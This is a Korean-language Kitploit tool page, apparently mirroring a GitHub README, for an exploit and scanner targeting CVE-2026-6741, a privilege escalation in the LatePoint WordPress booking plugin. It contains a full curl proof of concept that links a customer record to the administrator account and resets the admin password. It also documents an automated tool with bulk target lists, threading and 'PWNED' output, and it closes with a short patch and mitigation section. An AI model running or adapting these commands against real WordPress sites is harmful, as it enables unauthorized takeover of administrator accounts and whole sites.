Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-6741 — CVE-2026-6741은 LatePoint – Calendar Booking Plugin에서 발생하는 CVSS 8.8(높음) 인증된(Agent+) 권한 상승 취약점입니다. | Kitploit
도구/GitHubGitHub/xxconi/cve-2026-6741
Privilege EscalationVulnerability ScannersExploitationWeb Application ExploitationCTFPenetration TestingLearning & Education
GitHubxxconi/cve-2026-6741

CVE-2026-6741

CVE-2026-6741은 LatePoint – Calendar Booking Plugin에서 발생하는 CVSS 8.8(높음) 인증된(Agent+) 권한 상승 취약점입니다.

저장소 보기
2개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-6741

CVE-2026-6741은 LatePoint – Calendar Booking Plugin에서 발생하는 CVSS 8.8(High) 등급의 인증된(Agent+) 권한 상승 취약점입니다.

CVE-2026-6741 — LatePoint 권한 상승 스캐너

플러그인: LatePoint – Calendar Booking Plugin for Appointments and Events (latepoint) CVE ID: CVE-2026-6741 CVSS 점수: 8.8 (High) CVSS 벡터: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H 취약점 유형: Authenticated (Agent+) Privilege Escalation → Administrator Takeover 영향받는 버전: <= 5.4.1 패치된 버전: 5.4.2 공개 날짜: 2026년 4월 27일 연구자: skyv3il (AI SAFE), Chirita Catalin-Andrei / CC99IE (UVT-CTF), AmonRa — Wordfence


📌 취약점 정보

latepoint_agent 역할을 가진 인증된 공격자는 임의의 LatePoint 고객(customer) 레코드를 WordPress 관리자 계정에 연결한 다음, LatePoint 자체의 비밀번호 재설정 흐름을 사용해 관리자의 비밀번호를 변경할 수 있습니다.

이로 인해 전체 사이트 탈취가 발생합니다.


🔍 취약점 요약


⚙️ 기술 분석

WordPress Abilities API

LatePoint 5.3.0은 WordPress 6.9+에 도입된 Abilities API 지원을 추가했습니다. 이 API를 통해 플러그인은 REST API로 호출할 수 있는 "ability" 클래스를 등록할 수 있습니다:

root@kitploit:~
// latepoint.php (5.4.1, line 907)
if ( function_exists( 'wp_register_ability' ) ) {
    include_once LATEPOINT_ABSPATH . 'lib/abilities/class-latepoint-abilities.php';
}

취약한 코드 경로

1 — Ability 정의 (역할 검사 누락)

root@kitploit:~
// lib/abilities/customers/connect-customer-to-wp-user.php — line 12
protected function configure(): void {
    $this->id         = 'latepoint/connect-customer-to-wp-user';
    $this->label      = __( 'Connect customer to WP user', 'latepoint' );
    $this->permission = 'customer__edit';   // ← tek kontrol: bu capability
}

Agent 역할은 기본적으로 customer__edit 권한을 보유합니다:

root@kitploit:~
// lib/helpers/roles_helper.php — line 401
public static function get_default_capabilities_list_for_agent_role() {
    $capabilities = [
        ...
        'customer__edit',   // ← agent bu yetkiye sahip
        ...
    ];
}

2 — execute() — 역할 검사 없음

root@kitploit:~
// connect-customer-to-wp-user.php — lines 39–60
public function execute( array $args ) {
    $customer   = new OsCustomerModel( (int) $args['customer_id'] );
    $wp_user_id = (int) $args['wp_user_id'];

    if ( ! get_userdata( $wp_user_id ) ) {
        // Sadece kullanıcının var olup olmadığı kontrol ediliyor
        // EKSIK: Hedef kullanıcının rolü kontrol edilmiyor
        return new WP_Error( 'wp_user_not_found', ... );
    }

    $customer->wordpress_user_id = $wp_user_id;  // ← herhangi WP user'a bağla
    $customer->save();

    return $this->serialize_customer( ... );
}

3 — 비밀번호 재설정 체인

root@kitploit:~
// lib/models/customer_model.php — line 315
public function update_password( $password ) {
    if ( OsAuthHelper::can_wp_users_login_as_customers()
         && $this->wordpress_user_id ) {
        wp_set_password( $password, $this->wordpress_user_id );
        // ↑ wordpress_user_id artık admin ID'si → admin şifresi değişir
    }
}

기존 검사가 왜 불충분한가?

root@kitploit:~
// LatePointAbstractAbility — check_permission()
public function check_permission(): bool {
    return OsRolesHelper::can_user( $this->permission );
    // Sadece ÇAĞIRANIN yetkisini kontrol eder
    // HEDEF kullanıcının rolünü kontrol etmez
}

🔴 공격 체인

root@kitploit:~
latepoint_agent 계정
        │
        ▼
1. Agent로 WP에 로그인 → REST nonce 획득
        │
        ▼
2. 대상 admin WordPress 사용자 ID 식별
   (wp-json/wp/v2/users 또는 ID=1)
        │
        ▼
3. POST /wp-json/wp/v2/abilities/latepoint/connect-customer-to-wp-user
   { "customer_id": 5, "wp_user_id": 1 }
   → 역할 검사 없음 → 성공
        │
        ▼
4. LatePoint forgot_password → 고객 이메일로 reset token 전송
        │
        ▼
5. Token으로 change_password → update_password() 호출
   → wp_set_password("Hacked!", 1)
   → 관리자 비밀번호 변경됨
        │
        ▼
6. 새 비밀번호로 admin 로그인 → 전체 사이트 제어 ✓

🧪 Proof of Concept (수동)

⚠️ 면책 고지: 이 PoC는 교육 및 방어적 보안 연구 목적으로만 제공됩니다.

전제 조건:

  • WordPress 6.9+ (Abilities API 필요)
  • LatePoint <= 5.4.1 설치 및 활성화
  • latepoint_agent 역할을 가진 계정
  • 공격자가 제어하는 LatePoint 고객(customer) 레코드

단계 1 — Agent 로그인 + REST Nonce

root@kitploit:~
WP_URL="https://target.example.com"
AGENT_USER="agent_user"
AGENT_PASS="agent_password"

# Cookie tabanlı oturum aç
curl -c cookies.txt -b cookies.txt -s -X POST "$WP_URL/wp-login.php" \
  -d "log=$AGENT_USER&pwd=$AGENT_PASS&wp-submit=Log+In&redirect_to=%2Fwp-admin%2F&testcookie=1" \
  -H "Cookie: wordpress_test_cookie=WP+Cookie+check"

# REST nonce al
NONCE=$(curl -s -b cookies.txt \
  "$WP_URL/wp-admin/admin-ajax.php?action=rest-nonce")
echo "Nonce: $NONCE"

단계 2 — Admin 사용자 ID 식별

root@kitploit:~
# REST API ile admin kullanıcıları listele
curl -s "$WP_URL/wp-json/wp/v2/users?roles=administrator" \
  -H "X-WP-Nonce: $NONCE" | python3 -m json.tool

ADMIN_WP_USER_ID=1   # Genellikle ID=1

단계 3 — Customer → Admin 연결 (취약점)

root@kitploit:~
CUSTOMER_ID=5   # Kontrol ettiğin LatePoint customer ID

curl -s -b cookies.txt -X POST \
  "$WP_URL/wp-json/wp/v2/abilities/latepoint/connect-customer-to-wp-user" \
  -H "Content-Type: application/json" \
  -H "X-WP-Nonce: $NONCE" \
  -d "{\"customer_id\": $CUSTOMER_ID, \"wp_user_id\": $ADMIN_WP_USER_ID}"

예상 응답:

root@kitploit:~
{
  "id": 5,
  "wp_user_id": 1,
  "email": "[email protected]"
}

단계 4 — 비밀번호 재설정 시작

root@kitploit:~
CUSTOMER_EMAIL="[email protected]"

curl -s -X POST \
  "$WP_URL/?latepoint_route=customer_cabinet%2Fforgot_password" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "password_reset_email=$CUSTOMER_EMAIL"

LatePoint는 $CUSTOMER_EMAIL 주소로 account_nonce 토큰이 포함된 재설정 이메일을 전송합니다.


단계 5 — 비밀번호 변경

root@kitploit:~
RESET_TOKEN="<emailden_alinan_token>"
NEW_PASSWORD="Attacker_Password123!"

curl -s -X POST \
  "$WP_URL/?latepoint_route=customer_cabinet%2Fchange_password" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "password_reset_token=$RESET_TOKEN&password=$NEW_PASSWORD&password_confirmation=$NEW_PASSWORD"

이 호출은 update_password() → wp_set_password($NEW_PASSWORD, 1) 체인을 트리거합니다. 관리자 비밀번호가 변경되었습니다.


단계 6 — Admin으로 로그인

root@kitploit:~
curl -c admin_cookies.txt -b admin_cookies.txt -s -X POST \
  "$WP_URL/wp-login.php" \
  -d "log=admin&pwd=$NEW_PASSWORD&wp-submit=Log+In&redirect_to=%2Fwp-admin%2F&testcookie=1" \
  -H "Cookie: wordpress_test_cookie=WP+Cookie+check"

검증

root@kitploit:~
# wp-admin erişimi
curl -b admin_cookies.txt "$WP_URL/wp-admin/user-new.php"
# Beklenen: 200 OK (wp-login.php'ye yönlendirme değil)

# REST API ile rol doğrulama
ADMIN_NONCE=$(curl -s -b admin_cookies.txt \
  "$WP_URL/wp-admin/admin-ajax.php?action=rest-nonce")

curl -s "$WP_URL/wp-json/wp/v2/users/me" \
  -H "X-WP-Nonce: $ADMIN_NONCE" | python3 -m json.tool
# Beklenen: "roles": ["administrator"]

🛠️ 자동 스캐너

설치

root@kitploit:~
git clone https://github.com/kullanici/cve-2026-6741-scanner
cd cve-2026-6741-scanner
pip install -r requirements.txt

requirements.txt

root@kitploit:~
requests

🚀 사용 방법

단일 대상 — 완전 자동

root@kitploit:~
python latepoint_privesc.py -u http://hedef.com \
  --agent-user agent1 --agent-pass Pass123!

Admin ID 및 Customer ID 수동 지정

root@kitploit:~
python latepoint_privesc.py -u http://hedef.com \
  --agent-user agent1 --agent-pass Pass123! \
  --admin-id 1 \
  --customer-id 5 \
  --customer-email [email protected]

2단계 — Reset Token으로 비밀번호 변경

root@kitploit:~
python latepoint_privesc.py -u http://hedef.com \
  --agent-user agent1 --agent-pass Pass123! \
  --admin-id 1 \
  --customer-id 5 \
  --customer-email [email protected] \
  --reset-token abc123xyz \
  --new-password Hacked_2026!

일괄 스캔

root@kitploit:~
python latepoint_privesc.py -l targets.txt -t 10 \
  --agent-user agent1 --agent-pass Pass123! \
  -o sonuclar.txt

프록시 사용 (Burp Suite)

root@kitploit:~
python latepoint_privesc.py -u http://hedef.com \
  --agent-user agent1 --agent-pass Pass123! \
  --proxy http://127.0.0.1:8080

⚙️ 매개변수

일반

Agent 자격 증명

매개변수설명
--agent-userAgent 사용자 이름 (필수)
--agent-passAgent 비밀번호 (필수)

대상 매개변수

매개변수설명기본값
--admin-id대상 admin WP 사용자 ID자동 감지

비밀번호 재설정 (2단계)

매개변수설명기본값
--reset-token이메일에서 받은 reset token—
--new-password새 admin 비밀번호Pwned_CVE2026_6741!

📊 스캐너 출력 상태


🖥️ 스캐너 출력 예시

root@kitploit:~
[*] 대상          : http://hedef.com
[*] Agent         : agent1
[*] Admin ID      : 자동 감지
[*] Customer ID   : 자동 감지
[*] Reset Token   : 이메일 대기 중
[*] 새 비밀번호   : Pwned_CVE2026_6741!

[→] http://hedef.com  단계 1/6: Agent 로그인...
[→] http://hedef.com  단계 2/6: Admin 사용자 ID 식별...
[→] http://hedef.com  단계 3/6: Customer ID 식별...
[→] http://hedef.com  단계 4/6: Customer #5 → Admin #1 연결 중...
[→] http://hedef.com  단계 5/6: 비밀번호 재설정 시작 중...
[→] http://hedef.com  단계 6/6: 비밀번호 변경 중 (수동 토큰)...

════════════════════════════════════════════════════════════
[★ PWNED     ] http://hedef.com
  버전        : 5.4.1
  Admin ID    : 1
  Customer    : #5 <[email protected]>
  사용자      : admin  roles=['administrator']
════════════════════════════════════════════════════════════

[+] 저장됨 → privesc_results.txt

🔄 2단계 사용 흐름

root@kitploit:~
┌─────────────────────────────────────────────────────────┐
│  1단계 — 연결 + 재설정 이메일 전송                       │
│                                                         │
│  python latepoint_privesc.py -u http://hedef.com \      │
│    --agent-user agent1 --agent-pass Pass123! \          │
│    --customer-id 5 --customer-email [email protected]   │
│                                                         │
│  → 출력: "재설정 이메일 전송됨 — 토큰 대기 중"          │
└─────────────────────────┬───────────────────────────────┘
                           │
                  이메일에서 토큰 획득
                           │
┌─────────────────────────▼───────────────────────────────┐
│  2단계 — 토큰으로 비밀번호 변경                          │
│                                                         │
│  python latepoint_privesc.py -u http://hedef.com \      │
│    --agent-user agent1 --agent-pass Pass123! \          │
│    --customer-id 5 --customer-email [email protected] \ │
│    --reset-token abc123xyz \                            │
│    --new-password Hacked_2026!                          │
│                                                         │
│  → 출력: ★ PWNED — roles=['administrator']              │
└─────────────────────────────────────────────────────────┘

🛡️ 방어 / 패치

안전한 execute() 예시:

root@kitploit:~
// Güvensiz (mevcut — 5.4.1)
if ( ! get_userdata( $wp_user_id ) ) {
    return new WP_Error( 'wp_user_not_found', ... );
}

// Güvenli (önerilen — 5.4.2+)
$target_user = get_userdata( $wp_user_id );
if ( ! $target_user ) {
    return new WP_Error( 'wp_user_not_found', ... );
}
// Hedef kullanıcının rolünü kontrol et
if ( in_array( 'administrator', (array) $target_user->roles ) ) {
    return new WP_Error( 'forbidden', 'Cannot link customer to administrator.' );
}

📁 파일 구조

root@kitploit:~
cve-2026-6741-scanner/
├── latepoint_privesc.py   # 메인 스캐너
├── requirements.txt       # 의존성
└── README.md              # 이 파일

⚠️ 법적 고지

이 도구와 PoC는 승인된 시스템에서, 교육 목적 및 침투 테스트 범위 내에서만 사용하도록 제작되었습니다. 허가되지 않은 시스템에서의 사용은 터키 형법(Türk Ceza Kanunu) 제243-245조 및 국제 사이버 범죄 법률에 따라 범죄 행위에 해당합니다. 개발자는 도구의 오용으로 인해 발생하는 어떠한 법적 책임도 지지 않습니다.


📄 라이선스

MIT License — 교육 및 연구 목적으로만 사용할 수 있습니다.


🔗 참조

  • Wordfence 보안 권고
  • WordPress Abilities API — WP 6.9
  • LatePoint 플러그인 디렉터리
  • CVSS 3.1 계산기
  • CWE-269: Improper Privilege Management (부적절한 권한 관리)
도구 다운로드
필드값
플러그인 이름LatePoint – Calendar Booking Plugin
플러그인 슬러그latepoint
CVE IDCVE-2026-6741
CVSS 점수8.8 (High)
취약점 유형Authenticated (Agent+) Privilege Escalation
영향받는 버전<= 5.4.1
패치된 버전5.4.2
요구 사항latepoint_agent 역할, WordPress 6.9+
매개변수약어설명기본값
--url-u단일 대상 URL—
--list-l대상 목록 파일—
--threads-t스레드 수5
--output-o출력 파일privesc_results.txt
--proxy—프록시 URL—
--timeout—요청 타임아웃(초)10
--force—Abilities API 감지 실패 시에도 계속 진행False
--customer-id
공격자가 제어하는 LatePoint customer ID
자동 감지
--customer-emailLatePoint customer 이메일 주소agent 이메일
상태설명
★ PWNEDAdmin 비밀번호 변경됨, 로그인 성공
~ RESET_SENT재설정 이메일 전송됨 — 토큰 대기 중
~ PWD_CHANGE비밀번호 변경됨 — admin 로그인을 수동으로 확인
- LINK_FAILCustomer-Admin 연결 실패
- LOGIN_FAILAgent 로그인 실패
- NO_PLUGINLatePoint가 설치되지 않음
- NO_ABILITYAbilities API 비활성화됨 (WP 6.9+ 필요)
~ NO_CUSTCustomer ID를 찾을 수 없음 — 수동으로 지정
~ UNREACH대상에 연결할 수 없음
예방 조치적용
플러그인 업데이트LatePoint 5.4.2+ 버전으로 업그레이드
역할 검사 추가execute() 내에서 대상 사용자의 역할 검증
Abilities API 제한Agent 역할에서 connect-customer-to-wp-user 권한 제거
비밀번호 재설정 보호Admin 계정에 대해 LatePoint 재설정 흐름 비활성화
WP 6.9 Abilities 감사등록된 ability를 정기적으로 검토